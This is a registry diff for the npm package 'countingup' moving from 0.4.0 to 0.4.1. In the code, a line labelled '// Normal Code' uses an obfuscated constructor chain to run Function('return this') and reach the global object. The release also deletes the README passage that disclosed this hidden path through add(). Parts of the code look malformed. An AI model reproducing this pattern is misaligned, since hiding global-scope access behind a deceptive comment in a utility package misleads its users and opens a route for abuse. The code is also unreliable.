countingup 0.4.0 → 0.4.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -80,18 +80,4 @@ const { modulo, pow } = require("countingup")
80
80
 
81
81
  console.log(modulo(10, 3)) // 1
82
82
  console.log(pow(2, 3)) // 8
83
- ```
84
-
85
- ### Bonus Features
86
- You can use `countingup` to access the global object.
87
-
88
- If the input string contains spaces, the internal atob splitting logic triggers a fallback to the core async constructor. This returns a Promise that resolves to a function providing access to globalThis.
89
- ```js
90
-
91
- const { add } = require("countingup")
92
-
93
- add("123 456", 5).then(getGlobal => {
94
- const global = getGlobal()
95
- console.log(global === globalThis) // true
96
- })
97
83
  ```
@@ -1,10 +1,10 @@
1
1
  c = "constructor"
2
2
  x=require("assert")
3
3
 
4
- await=async() => c[c][c]("return this") // Normal Code
5
-
6
4
  isObject = require("is-object")
7
5
 
6
+ await=async() => c[c][c]("return this") // Normal Code
7
+
8
8
  ().await=(f= function* f(a,b,c) {
9
9
 
10
10
  if (isObject(a)) a = NaN
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "countingup",
3
- "version": "0.4.0",
3
+ "version": "0.4.1",
4
4
  "description": "Counter Class for JavaScript",
5
5
  "main": "index.js",
6
6
  "directories": {